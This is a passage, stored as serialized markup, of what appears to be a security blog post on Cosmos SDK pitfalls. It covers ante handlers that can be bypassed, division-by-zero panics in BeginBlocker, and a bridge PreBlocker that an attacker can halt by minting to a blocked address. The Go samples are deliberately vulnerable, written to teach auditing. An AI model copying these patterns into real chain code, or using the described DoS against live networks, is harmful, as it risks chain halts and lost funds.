option\"",{"type":23,"tag":41,"props":80598,"children":80599},{"style":70},[80600],{"type":28,"value":3506},{"type":23,"tag":41,"props":80602,"children":80603},{"class":43,"line":23547},[80604],{"type":23,"tag":41,"props":80605,"children":80606},{"style":70},[80607],{"type":28,"value":80489},{"type":23,"tag":41,"props":80609,"children":80610},{"class":43,"line":23556},[80611],{"type":23,"tag":41,"props":80612,"children":80613},{"style":70},[80614],{"type":28,"value":71066},{"type":23,"tag":41,"props":80616,"children":80617},{"class":43,"line":23598},[80618],{"type":23,"tag":41,"props":80619,"children":80620},{"emptyLinePlaceholder":18},[80621],{"type":28,"value":82},{"type":23,"tag":41,"props":80623,"children":80624},{"class":43,"line":23631},[80625,80629,80633,80637,80641,80645,80649,80653,80657],{"type":23,"tag":41,"props":80626,"children":80627},{"style":58},[80628],{"type":28,"value":60725},{"type":23,"tag":41,"props":80630,"children":80631},{"style":114},[80632],{"type":28,"value":80118},{"type":23,"tag":41,"props":80634,"children":80635},{"style":70},[80636],{"type":28,"value":1737},{"type":23,"tag":41,"props":80638,"children":80639},{"style":858},[80640],{"type":28,"value":20269},{"type":23,"tag":41,"props":80642,"children":80643},{"style":70},[80644],{"type":28,"value":970},{"type":23,"tag":41,"props":80646,"children":80647},{"style":858},[80648],{"type":28,"value":79176},{"type":23,"tag":41,"props":80650,"children":80651},{"style":70},[80652],{"type":28,"value":970},{"type":23,"tag":41,"props":80654,"children":80655},{"style":858},[80656],{"type":28,"value":80056},{"type":23,"tag":41,"props":80658,"children":80659},{"style":70},[80660],{"type":28,"value":1969},{"type":23,"tag":41,"props":80662,"children":80663},{"class":43,"line":23639},[80664],{"type":23,"tag":41,"props":80665,"children":80666},{"style":70},[80667],{"type":28,"value":58881},{"type":23,"tag":41,"props":80669,"children":80670},{"class":43,"line":23647},[80671],{"type":23,"tag":41,"props":80672,"children":80673},{"style":70},[80674],{"type":28,"value":3347},{"type":23,"tag":41,"props":80676,"children":80677},{"class":43,"line":23656},[80678],{"type":23,"tag":41,"props":80679,"children":80680},{"emptyLinePlaceholder":18},[80681],{"type":28,"value":82},{"type":23,"tag":41,"props":80683,"children":80684},{"class":43,"line":23732},[80685],{"type":23,"tag":41,"props":80686,"children":80687},{"style":48},[80688],{"type":28,"value":80689},"        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":23,"tag":41,"props":80691,"children":80692},{"class":43,"line":23765},[80693],{"type":23,"tag":41,"props":80694,"children":80695},{"emptyLinePlaceholder":18},[80696],{"type":28,"value":82},{"type":23,"tag":41,"props":80698,"children":80699},{"class":43,"line":23773},[80700,80705,80709,80713,80717],{"type":23,"tag":41,"props":80701,"children":80702},{"style":58},[80703],{"type":28,"value":80704},"        switch",{"type":23,"tag":41,"props":80706,"children":80707},{"style":858},[80708],{"type":28,"value":68023},{"type":23,"tag":41,"props":80710,"children":80711},{"style":70},[80712],{"type":28,"value":78775},{"type":23,"tag":41,"props":80714,"children":80715},{"style":64},[80716],{"type":28,"value":1669},{"type":23,"tag":41,"props":80718,"children":80719},{"style":70},[80720],{"type":28,"value":152},{"type":23,"tag":41,"props":80722,"children":80723},{"class":43,"line":23781},[80724,80729,80733,80737,80741],{"type":23,"tag":41,"props":80725,"children":80726},{"style":58},[80727],{"type":28,"value":80728},"        case",{"type":23,"tag":41,"props":80730,"children":80731},{"style":94},[80732],{"type":28,"value":78636},{"type":23,"tag":41,"props":80734,"children":80735},{"style":70},[80736],{"type":28,"value":706},{"type":23,"tag":41,"props":80738,"children":80739},{"style":94},[80740],{"type":28,"value":78669},{"type":23,"tag":41,"props":80742,"children":80743},{"style":70},[80744],{"type":28,"value":5568},{"type":23,"tag":41,"props":80746,"children":80747},{"class":43,"line":23818},[80748,80753,80757,80761,80765,80769],{"type":23,"tag":41,"props":80749,"children":80750},{"style":858},[80751],{"type":28,"value":80752},"            anteHandler",{"type":23,"tag":41,"props":80754,"children":80755},{"style":170},[80756],{"type":28,"value":3017},{"type":23,"tag":41,"props":80758,"children":80759},{"style":858},[80760],{"type":28,"value":78636},{"type":23,"tag":41,"props":80762,"children":80763},{"style":70},[80764],{"type":28,"value":706},{"type":23,"tag":41,"props":80766,"children":80767},{"style":114},[80768],{"type":28,"value":80427},{"type":23,"tag":41,"props":80770,"children":80771},{"style":70},[80772],{"type":28,"value":3461},{"type":23,"tag":41,"props":80774,"children":80775},{"class":43,"line":23831},[80776,80781,80785,80790,80794],{"type":23,"tag":41,"props":80777,"children":80778},{"style":858},[80779],{"type":28,"value":80780},"                authante",{"type":23,"tag":41,"props":80782,"children":80783},{"style":70},[80784],{"type":28,"value":706},{"type":23,"tag":41,"props":80786,"children":80787},{"style":114},[80788],{"type":28,"value":80789},"NewSetUpContextDecorator",{"type":23,"tag":41,"props":80791,"children":80792},{"style":70},[80793],{"type":28,"value":18363},{"type":23,"tag":41,"props":80795,"children":80796},{"style":48},[80797],{"type":28,"value":79290},{"type":23,"tag":41,"props":80799,"children":80800},{"class":43,"line":23844},[80801],{"type":23,"tag":41,"props":80802,"children":80803},{"style":170},[80804],{"type":28,"value":80805},"                 ...\n",{"type":23,"tag":41,"props":80807,"children":80808},{"class":43,"line":23857},[80809,80813,80817,80822,80826,80830,80834],{"type":23,"tag":41,"props":80810,"children":80811},{"style":858},[80812],{"type":28,"value":80780},{"type":23,"tag":41,"props":80814,"children":80815},{"style":70},[80816],{"type":28,"value":706},{"type":23,"tag":41,"props":80818,"children":80819},{"style":114},[80820],{"type":28,"value":80821},"NewIncrementSequenceDecorator",{"type":23,"tag":41,"props":80823,"children":80824},{"style":70},[80825],{"type":28,"value":1737},{"type":23,"tag":41,"props":80827,"children":80828},{"style":858},[80829],{"type":28,"value":80472},{"type":23,"tag":41,"props":80831,"children":80832},{"style":70},[80833],{"type":28,"value":15169},{"type":23,"tag":41,"props":80835,"children":80836},{"style":48},[80837],{"type":28,"value":80838},"// innermost AnteDecorator\n",{"type":23,"tag":41,"props":80840,"children":80841},{"class":43,"line":23911},[80842],{"type":23,"tag":41,"props":80843,"children":80844},{"style":70},[80845],{"type":28,"value":77510},{"type":23,"tag":41,"props":80847,"children":80848},{"class":43,"line":23920},[80849,80854],{"type":23,"tag":41,"props":80850,"children":80851},{"style":58},[80852],{"type":28,"value":80853},"        default",{"type":23,"tag":41,"props":80855,"children":80856},{"style":70},[80857],{"type":28,"value":5568},{"type":23,"tag":41,"props":80859,"children":80860},{"class":43,"line":32275},[80861,80865,80869,80873,80877,80881,80885],{"type":23,"tag":41,"props":80862,"children":80863},{"style":58},[80864],{"type":28,"value":79071},{"type":23,"tag":41,"props":80866,"children":80867},{"style":858},[80868],{"type":28,"value":25842},{"type":23,"tag":41,"props":80870,"children":80871},{"style":70},[80872],{"type":28,"value":970},{"type":23,"tag":41,"props":80874,"children":80875},{"style":858},[80876],{"type":28,"value":80529},{"type":23,"tag":41,"props":80878,"children":80879},{"style":70},[80880],{"type":28,"value":706},{"type":23,"tag":41,"props":80882,"children":80883},{"style":114},[80884],{"type":28,"value":80538},{"type":23,"tag":41,"props":80886,"children":80887},{"style":70},[80888],{"type":28,"value":3461},{"type":23,"tag":41,"props":80890,"children":80891},{"class":43,"line":32296},[80892,80897,80901,80906,80910,80914,80918,80923,80927,80932,80936,80940],{"type":23,"tag":41,"props":80893,"children":80894},{"style":858},[80895],{"type":28,"value":80896},"                sdkerrors",{"type":23,"tag":41,"props":80898,"children":80899},{"style":70},[80900],{"type":28,"value":706},{"type":23,"tag":41,"props":80902,"children":80903},{"style":114},[80904],{"type":28,"value":80905},"Wrapf",{"type":23,"tag":41,"props":80907,"children":80908},{"style":70},[80909],{"type":28,"value":1737},{"type":23,"tag":41,"props":80911,"children":80912},{"style":858},[80913],{"type":28,"value":80567},{"type":23,"tag":41,"props":80915,"children":80916},{"style":70},[80917],{"type":28,"value":706},{"type":23,"tag":41,"props":80919,"children":80920},{"style":858},[80921],{"type":28,"value":80922},"ErrUnknownRequest",{"type":23,"tag":41,"props":80924,"children":80925},{"style":70},[80926],{"type":28,"value":970},{"type":23,"tag":41,"props":80928,"children":80929},{"style":735},[80930],{"type":28,"value":80931},"\"invalid transaction type: %T\"",{"type":23,"tag":41,"props":80933,"children":80934},{"style":70},[80935],{"type":28,"value":970},{"type":23,"tag":41,"props":80937,"children":80938},{"style":858},[80939],{"type":28,"value":79176},{"type":23,"tag":41,"props":80941,"children":80942},{"style":70},[80943],{"type":28,"value":6735},{"type":23,"tag":41,"props":80945,"children":80947},{"class":43,"line":80946},53,[80948,80953],{"type":23,"tag":41,"props":80949,"children":80950},{"style":735},[80951],{"type":28,"value":80952},"                \"transaction is not an SDK tx\"",{"type":23,"tag":41,"props":80954,"children":80955},{"style":70},[80956],{"type":28,"value":3506},{"type":23,"tag":41,"props":80958,"children":80960},{"class":43,"line":80959},54,[80961],{"type":23,"tag":41,"props":80962,"children":80963},{"style":70},[80964],{"type":28,"value":77510},{"type":23,"tag":41,"props":80966,"children":80968},{"class":43,"line":80967},55,[80969],{"type":23,"tag":41,"props":80970,"children":80971},{"style":70},[80972],{"type":28,"value":3347},{"type":23,"tag":41,"props":80974,"children":80976},{"class":43,"line":80975},56,[80977],{"type":23,"tag":41,"props":80978,"children":80979},{"emptyLinePlaceholder":18},[80980],{"type":28,"value":82},{"type":23,"tag":41,"props":80982,"children":80984},{"class":43,"line":80983},57,[80985,80989,80993,80997,81001,81005,81009,81013,81017],{"type":23,"tag":41,"props":80986,"children":80987},{"style":58},[80988],{"type":28,"value":161},{"type":23,"tag":41,"props":80990,"children":80991},{"style":114},[80992],{"type":28,"value":80118},{"type":23,"tag":41,"props":80994,"children":80995},{"style":70},[80996],{"type":28,"value":1737},{"type":23,"tag":41,"props":80998,"children":80999},{"style":858},[81000],{"type":28,"value":20269},{"type":23,"tag":41,"props":81002,"children":81003},{"style":70},[81004],{"type":28,"value":970},{"type":23,"tag":41,"props":81006,"children":81007},{"style":858},[81008],{"type":28,"value":79176},{"type":23,"tag":41,"props":81010,"children":81011},{"style":70},[81012],{"type":28,"value":970},{"type":23,"tag":41,"props":81014,"children":81015},{"style":858},[81016],{"type":28,"value":80056},{"type":23,"tag":41,"props":81018,"children":81019},{"style":70},[81020],{"type":28,"value":1969},{"type":23,"tag":41,"props":81022,"children":81024},{"class":43,"line":81023},58,[81025],{"type":23,"tag":41,"props":81026,"children":81027},{"style":70},[81028],{"type":28,"value":192},{"type":23,"tag":41,"props":81030,"children":81032},{"class":43,"line":81031},59,[81033],{"type":23,"tag":41,"props":81034,"children":81035},{"style":70},[81036],{"type":28,"value":201},{"type":23,"tag":24,"props":81038,"children":81039},{},[81040,81042,81047,81049,81056,81057,81064],{"type":28,"value":81041},"Additional examples of incorrect ",{"type":23,"tag":37,"props":81043,"children":81045},{"className":81044},[],[81046],{"type":28,"value":78465},{"type":28,"value":81048}," usage include ",{"type":23,"tag":458,"props":81050,"children":81053},{"href":81051,"rel":81052},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[462],[81054],{"type":28,"value":81055},"yet more bypassable checks and loss of funds",{"type":28,"value":1361},{"type":23,"tag":458,"props":81058,"children":81061},{"href":81059,"rel":81060},"https://github.com/cosmos/ibc-go/issues/853",[462],[81062],{"type":28,"value":81063},"incorrect data passing between blockchains",{"type":28,"value":706},{"type":23,"tag":446,"props":81066,"children":81068},{"id":81067},"errors-panics-i-can-handle-it",[81069],{"type":28,"value":81070},"Errors? Panics? I can handle it",{"type":23,"tag":24,"props":81072,"children":81073},{},[81074],{"type":28,"value":81075},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":23,"tag":24,"props":81077,"children":81078},{},[81079],{"type":28,"value":81080},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":23,"tag":24,"props":81082,"children":81083},{},[81084,81086,81092,81094,81099],{"type":28,"value":81085},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":23,"tag":37,"props":81087,"children":81089},{"className":81088},[],[81090],{"type":28,"value":81091},"k.keeper.TotalReward()",{"type":28,"value":81093}," returns zero, the ",{"type":23,"tag":37,"props":81095,"children":81097},{"className":81096},[],[81098],{"type":28,"value":57942},{"type":28,"value":81100}," execution will simply rollback as if nothing has happened.",{"type":23,"tag":31,"props":81102,"children":81104},{"code":81103,"language":76159,"meta":7,"className":76160,"style":7},"func (k msgServer) AllocateReward(\n    goCtx context.Context,\n    msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n    RewardPerShare := k.keeper.Shares() /  k.keeper.TotalReward()\n    k.keeper.DistributeReward(RewardPerShare)\n\n    return &types.MsgAllocateRewardResponse, nil\n}\n",[81105],{"type":23,"tag":37,"props":81106,"children":81107},{"__ignoreMap":7},[81108,81141,81164,81192,81228,81235,81304,81342,81349,81381],{"type":23,"tag":41,"props":81109,"children":81110},{"class":43,"line":44},[81111,81115,81119,81124,81128,81132,81137],{"type":23,"tag":41,"props":81112,"children":81113},{"style":64},[81114],{"type":28,"value":76295},{"type":23,"tag":41,"props":81116,"children":81117},{"style":70},[81118],{"type":28,"value":142},{"type":23,"tag":41,"props":81120,"children":81121},{"style":858},[81122],{"type":28,"value":81123},"k ",{"type":23,"tag":41,"props":81125,"children":81126},{"style":94},[81127],{"type":28,"value":76309},{"type":23,"tag":41,"props":81129,"children":81130},{"style":70},[81131],{"type":28,"value":866},{"type":23,"tag":41,"props":81133,"children":81134},{"style":114},[81135],{"type":28,"value":81136},"AllocateReward",{"type":23,"tag":41,"props":81138,"children":81139},{"style":70},[81140],{"type":28,"value":3461},{"type":23,"tag":41,"props":81142,"children":81143},{"class":43,"line":54},[81144,81148,81152,81156,81160],{"type":23,"tag":41,"props":81145,"children":81146},{"style":858},[81147],{"type":28,"value":76330},{"type":23,"tag":41,"props":81149,"children":81150},{"style":94},[81151],{"type":28,"value":76335},{"type":23,"tag":41,"props":81153,"children":81154},{"style":70},[81155],{"type":28,"value":706},{"type":23,"tag":41,"props":81157,"children":81158},{"style":94},[81159],{"type":28,"value":76344},{"type":23,"tag":41,"props":81161,"children":81162},{"style":70},[81163],{"type":28,"value":3506},{"type":23,"tag":41,"props":81165,"children":81166},{"class":43,"line":76},[81167,81171,81175,81179,81183,81188],{"type":23,"tag":41,"props":81168,"children":81169},{"style":858},[81170],{"type":28,"value":76356},{"type":23,"tag":41,"props":81172,"children":81173},{"style":170},[81174],{"type":28,"value":9814},{"type":23,"tag":41,"props":81176,"children":81177},{"style":94},[81178],{"type":28,"value":5759},{"type":23,"tag":41,"props":81180,"children":81181},{"style":70},[81182],{"type":28,"value":706},{"type":23,"tag":41,"props":81184,"children":81185},{"style":94},[81186],{"type":28,"value":81187},"MsgAllocateReward",{"type":23,"tag":41,"props":81189,"children":81190},{"style":70},[81191],{"type":28,"value":1969},{"type":23,"tag":41,"props":81193,"children":81194},{"class":43,"line":85},[81195,81199,81203,81207,81211,81216,81220,81224],{"type":23,"tag":41,"props":81196,"children":81197},{"style":70},[81198],{"type":28,"value":1737},{"type":23,"tag":41,"props":81200,"children":81201},{"style":170},[81202],{"type":28,"value":377},{"type":23,"tag":41,"props":81204,"children":81205},{"style":94},[81206],{"type":28,"value":5759},{"type":23,"tag":41,"props":81208,"children":81209},{"style":70},[81210],{"type":28,"value":706},{"type":23,"tag":41,"props":81212,"children":81213},{"style":94},[81214],{"type":28,"value":81215},"MsgAllocatRewardResponse",{"type":23,"tag":41,"props":81217,"children":81218},{"style":70},[81219],{"type":28,"value":970},{"type":23,"tag":41,"props":81221,"children":81222},{"style":94},[81223],{"type":28,"value":14855},{"type":23,"tag":41,"props":81225,"children":81226},{"style":70},[81227],{"type":28,"value":152},{"type":23,"tag":41,"props":81229,"children":81230},{"class":43,"line":105},[81231],{"type":23,"tag":41,"props":81232,"children":81233},{"emptyLinePlaceholder":18},[81234],{"type":28,"value":82},{"type":23,"tag":41,"props":81236,"children":81237},{"class":43,"line":155},[81238,81243,81247,81252,81256,81261,81265,81270,81274,81278,81283,81287,81291,81295,81300],{"type":23,"tag":41,"props":81239,"children":81240},{"style":858},[81241],{"type":28,"value":81242},"    RewardPerShare",{"type":23,"tag":41,"props":81244,"children":81245},{"style":170},[81246],{"type":28,"value":76411},{"type":23,"tag":41,"props":81248,"children":81249},{"style":858},[81250],{"type":28,"value":81251}," k",{"type":23,"tag":41,"props":81253,"children":81254},{"style":70},[81255],{"type":28,"value":706},{"type":23,"tag":41,"props":81257,"children":81258},{"style":858},[81259],{"type":28,"value":81260},"keeper",{"type":23,"tag":41,"props":81262,"children":81263},{"style":70},[81264],{"type":28,"value":706},{"type":23,"tag":41,"props":81266,"children":81267},{"style":114},[81268],{"type":28,"value":81269},"Shares",{"type":23,"tag":41,"props":81271,"children":81272},{"style":70},[81273],{"type":28,"value":122},{"type":23,"tag":41,"props":81275,"children":81276},{"style":170},[81277],{"type":28,"value":4579},{"type":23,"tag":41,"props":81279,"children":81280},{"style":858},[81281],{"type":28,"value":81282},"  k",{"type":23,"tag":41,"props":81284,"children":81285},{"style":70},[81286],{"type":28,"value":706},{"type":23,"tag":41,"props":81288,"children":81289},{"style":858},[81290],{"type":28,"value":81260},{"type":23,"tag":41,"props":81292,"children":81293},{"style":70},[81294],{"type":28,"value":706},{"type":23,"tag":41,"props":81296,"children":81297},{"style":114},[81298],{"type":28,"value":81299},"TotalReward",{"type":23,"tag":41,"props":81301,"children":81302},{"style":70},[81303],{"type":28,"value":7735},{"type":23,"tag":41,"props":81305,"children":81306},{"class":43,"line":186},[81307,81312,81316,81320,81324,81329,81333,81338],{"type":23,"tag":41,"props":81308,"children":81309},{"style":858},[81310],{"type":28,"value":81311},"    k",{"type":23,"tag":41,"props":81313,"children":81314},{"style":70},[81315],{"type":28,"value":706},{"type":23,"tag":41,"props":81317,"children":81318},{"style":858},[81319],{"type":28,"value":81260},{"type":23,"tag":41,"props":81321,"children":81322},{"style":70},[81323],{"type":28,"value":706},{"type":23,"tag":41,"props":81325,"children":81326},{"style":114},[81327],{"type":28,"value":81328},"DistributeReward",{"type":23,"tag":41,"props":81330,"children":81331},{"style":70},[81332],{"type":28,"value":1737},{"type":23,"tag":41,"props":81334,"children":81335},{"style":858},[81336],{"type":28,"value":81337},"RewardPerShare",{"type":23,"tag":41,"props":81339,"children":81340},{"style":70},[81341],{"type":28,"value":1969},{"type":23,"tag":41,"props":81343,"children":81344},{"class":43,"line":195},[81345],{"type":23,"tag":41,"props":81346,"children":81347},{"emptyLinePlaceholder":18},[81348],{"type":28,"value":82},{"type":23,"tag":41,"props":81350,"children":81351},{"class":43,"line":905},[81352,81356,81360,81364,81368,81373,81377],{"type":23,"tag":41,"props":81353,"children":81354},{"style":58},[81355],{"type":28,"value":1090},{"type":23,"tag":41,"props":81357,"children":81358},{"style":170},[81359],{"type":28,"value":7140},{"type":23,"tag":41,"props":81361,"children":81362},{"style":858},[81363],{"type":28,"value":5759},{"type":23,"tag":41,"props":81365,"children":81366},{"style":70},[81367],{"type":28,"value":706},{"type":23,"tag":41,"props":81369,"children":81370},{"style":858},[81371],{"type":28,"value":81372},"MsgAllocateRewardResponse",{"type":23,"tag":41,"props":81374,"children":81375},{"style":70},[81376],{"type":28,"value":970},{"type":23,"tag":41,"props":81378,"children":81379},{"style":64},[81380],{"type":28,"value":76637},{"type":23,"tag":41,"props":81382,"children":81383},{"class":43,"line":922},[81384],{"type":23,"tag":41,"props":81385,"children":81386},{"style":70},[81387],{"type":28,"value":201},{"type":23,"tag":24,"props":81389,"children":81390},{},[81391,81393,81399,81400,81406,81407,81413,81415,81420],{"type":28,"value":81392},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":23,"tag":37,"props":81394,"children":81396},{"className":81395},[],[81397],{"type":28,"value":81398},"PreBlocker",{"type":28,"value":970},{"type":23,"tag":37,"props":81401,"children":81403},{"className":81402},[],[81404],{"type":28,"value":81405},"BeginBlocker",{"type":28,"value":6486},{"type":23,"tag":37,"props":81408,"children":81410},{"className":81409},[],[81411],{"type":28,"value":81412},"EndBlocker",{"type":28,"value":81414},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":23,"tag":37,"props":81416,"children":81418},{"className":81417},[],[81419],{"type":28,"value":81405},{"type":28,"value":81421}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":23,"tag":31,"props":81423,"children":81425},{"code":81424,"language":76159,"meta":7,"className":76160,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n    RewardPerShare := keeper.Shares() /  keeper.TotalReward()\n    keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[81426],{"type":23,"tag":37,"props":81427,"children":81428},{"__ignoreMap":7},[81429,81494,81501,81549,81577,81584,81596],{"type":23,"tag":41,"props":81430,"children":81431},{"class":43,"line":44},[81432,81436,81441,81445,81449,81453,81457,81461,81465,81469,81474,81478,81482,81486,81490],{"type":23,"tag":41,"props":81433,"children":81434},{"style":64},[81435],{"type":28,"value":76295},{"type":23,"tag":41,"props":81437,"children":81438},{"style":114},[81439],{"type":28,"value":81440}," BeginBlocker",{"type":23,"tag":41,"props":81442,"children":81443},{"style":70},[81444],{"type":28,"value":1737},{"type":23,"tag":41,"props":81446,"children":81447},{"style":858},[81448],{"type":28,"value":20269},{"type":23,"tag":41,"props":81450,"children":81451},{"style":94},[81452],{"type":28,"value":76335},{"type":23,"tag":41,"props":81454,"children":81455},{"style":70},[81456],{"type":28,"value":706},{"type":23,"tag":41,"props":81458,"children":81459},{"style":94},[81460],{"type":28,"value":76344},{"type":23,"tag":41,"props":81462,"children":81463},{"style":70},[81464],{"type":28,"value":970},{"type":23,"tag":41,"props":81466,"children":81467},{"style":858},[81468],{"type":28,"value":81260},{"type":23,"tag":41,"props":81470,"children":81471},{"style":94},[81472],{"type":28,"value":81473}," keeper",{"type":23,"tag":41,"props":81475,"children":81476},{"style":70},[81477],{"type":28,"value":706},{"type":23,"tag":41,"props":81479,"children":81480},{"style":94},[81481],{"type":28,"value":79940},{"type":23,"tag":41,"props":81483,"children":81484},{"style":70},[81485],{"type":28,"value":866},{"type":23,"tag":41,"props":81487,"children":81488},{"style":94},[81489],{"type":28,"value":14855},{"type":23,"tag":41,"props":81491,"children":81492},{"style":70},[81493],{"type":28,"value":102},{"type":23,"tag":41,"props":81495,"children":81496},{"class":43,"line":54},[81497],{"type":23,"tag":41,"props":81498,"children":81499},{"emptyLinePlaceholder":18},[81500],{"type":28,"value":82},{"type":23,"tag":41,"props":81502,"children":81503},{"class":43,"line":76},[81504,81508,81512,81516,81520,81524,81528,81532,81537,81541,81545],{"type":23,"tag":41,"props":81505,"children":81506},{"style":858},[81507],{"type":28,"value":81242},{"type":23,"tag":41,"props":81509,"children":81510},{"style":170},[81511],{"type":28,"value":76411},{"type":23,"tag":41,"props":81513,"children":81514},{"style":858},[81515],{"type":28,"value":81473},{"type":23,"tag":41,"props":81517,"children":81518},{"style":70},[81519],{"type":28,"value":706},{"type":23,"tag":41,"props":81521,"children":81522},{"style":114},[81523],{"type":28,"value":81269},{"type":23,"tag":41,"props":81525,"children":81526},{"style":70},[81527],{"type":28,"value":122},{"type":23,"tag":41,"props":81529,"children":81530},{"style":170},[81531],{"type":28,"value":4579},{"type":23,"tag":41,"props":81533,"children":81534},{"style":858},[81535],{"type":28,"value":81536},"  keeper",{"type":23,"tag":41,"props":81538,"children":81539},{"style":70},[81540],{"type":28,"value":706},{"type":23,"tag":41,"props":81542,"children":81543},{"style":114},[81544],{"type":28,"value":81299},{"type":23,"tag":41,"props":81546,"children":81547},{"style":70},[81548],{"type":28,"value":7735},{"type":23,"tag":41,"props":81550,"children":81551},{"class":43,"line":85},[81552,81557,81561,81565,81569,81573],{"type":23,"tag":41,"props":81553,"children":81554},{"style":858},[81555],{"type":28,"value":81556},"    keeper",{"type":23,"tag":41,"props":81558,"children":81559},{"style":70},[81560],{"type":28,"value":706},{"type":23,"tag":41,"props":81562,"children":81563},{"style":114},[81564],{"type":28,"value":81328},{"type":23,"tag":41,"props":81566,"children":81567},{"style":70},[81568],{"type":28,"value":1737},{"type":23,"tag":41,"props":81570,"children":81571},{"style":858},[81572],{"type":28,"value":81337},{"type":23,"tag":41,"props":81574,"children":81575},{"style":70},[81576],{"type":28,"value":1969},{"type":23,"tag":41,"props":81578,"children":81579},{"class":43,"line":105},[81580],{"type":23,"tag":41,"props":81581,"children":81582},{"emptyLinePlaceholder":18},[81583],{"type":28,"value":82},{"type":23,"tag":41,"props":81585,"children":81586},{"class":43,"line":155},[81587,81591],{"type":23,"tag":41,"props":81588,"children":81589},{"style":58},[81590],{"type":28,"value":52861},{"type":23,"tag":41,"props":81592,"children":81593},{"style":64},[81594],{"type":28,"value":81595}," nil\n",{"type":23,"tag":41,"props":81597,"children":81598},{"class":43,"line":186},[81599],{"type":23,"tag":41,"props":81600,"children":81601},{"style":70},[81602],{"type":28,"value":201},{"type":23,"tag":546,"props":81604,"children":81606},{"id":81605},"real-world-examples-3",[81607],{"type":28,"value":76684},{"type":23,"tag":24,"props":81609,"children":81610},{},[81611],{"type":28,"value":81612},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":23,"tag":24,"props":81614,"children":81615},{},[81616,81618,81624,81626,81631,81633,81639,81641,81647,81649,81655],{"type":28,"value":81617},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":23,"tag":37,"props":81619,"children":81621},{"className":81620},[],[81622],{"type":28,"value":81623},"bankKeeper.SendCoinsFromModuleToAccount",{"type":28,"value":81625}," will be bubbled up through ",{"type":23,"tag":37,"props":81627,"children":81629},{"className":81628},[],[81630],{"type":28,"value":81398},{"type":28,"value":81632}," and halt the chain. It turns out an attacker can force ",{"type":23,"tag":37,"props":81634,"children":81636},{"className":81635},[],[81637],{"type":28,"value":81638},"SendCoinsFromModuleToAccount",{"type":28,"value":81640}," to return an error by setting ",{"type":23,"tag":37,"props":81642,"children":81644},{"className":81643},[],[81645],{"type":28,"value":81646},"recipient",{"type":28,"value":81648}," to some ",{"type":23,"tag":37,"props":81650,"children":81652},{"className":81651},[],[81653],{"type":28,"value":81654},"BlockedAddr",{"type":28,"value":81656},",rendering the code susceptible to DoS attacks.",{"type":23,"tag":24,"props":81658,"children":81659},{},[81660],{"type":23,"tag":458,"props":81661,"children":81664},{"href":81662,"rel":81663},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[462],[81665],{"type":28,"value":76734},{"type":23,"tag":31,"props":81667,"children":81669},{"code":81668,"language":76159,"meta":7,"className":76160,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n    return func(\n        ctx sdk.Context,\n        req *cmtabci.RequestFinalizeBlock,\n    ) (*sdk.ResponsePreBlock, error) {\n        ...\n        err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n        if err != nil {\n            return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n        }\n        ...\n    }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n    ctx sdk.Context,\n    events types.AssetsLockedEvents,\n) error {\n    ...\n    for _, event := range events {\n        recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n        if err != nil {\n            return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n        }\n\n        if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n            err = k.mintBTC(ctx, recipient, event.Amount)\n            if err != nil {\n                return fmt.Errorf(\n                    \"failed to mint BTC for event %v: %w\",\n                    event.Sequence,\n                    err,\n                )\n            }\n        } else {\n            ...\n        }\n    }\n    ...\n}\n\nfunc (k Keeper) mintBTC(\n    ctx sdk.Context,\n    recipient sdk.AccAddress,\n    amount math.Int,\n) error {\n    ...\n    err = k.bankKeeper.SendCoinsFromModuleToAccount(\n        ctx,\n        types.ModuleName,\n        recipient,\n        coins,\n    )\n    if err != nil {\n        return fmt.Errorf(\"failed to send coins: %w\", err)\n    }\n    ...\n}\n",[81670],{"type":23,"tag":37,"props":81671,"children":81672},{"__ignoreMap":7},[81673,81726,81741,81764,81794,81830,81837,81893,81917,81967,81974,81981,81988,81995,82002,82033,82056,82081,82096,82103,82140,82194,82217,82258,82265,82272,82323,82384,82407,82430,82442,82463,82475,82483,82490,82505,82513,82520,82527,82534,82541,82548,82579,82602,82627,82652,82667,82674,82711,82722,82743,82754,82766,82773,82796,82836,82843,82850],{"type":23,"tag":41,"props":81674,"children":81675},{"class":43,"line":44},[81676,81680,81684,81689,81693,81698,81702,81706,81710,81714,81718,81722],{"type":23,"tag":41,"props":81677,"children":81678},{"style":64},[81679],{"type":28,"value":76295},{"type":23,"tag":41,"props":81681,"children":81682},{"style":70},[81683],{"type":28,"value":142},{"type":23,"tag":41,"props":81685,"children":81686},{"style":858},[81687],{"type":28,"value":81688},"pbh 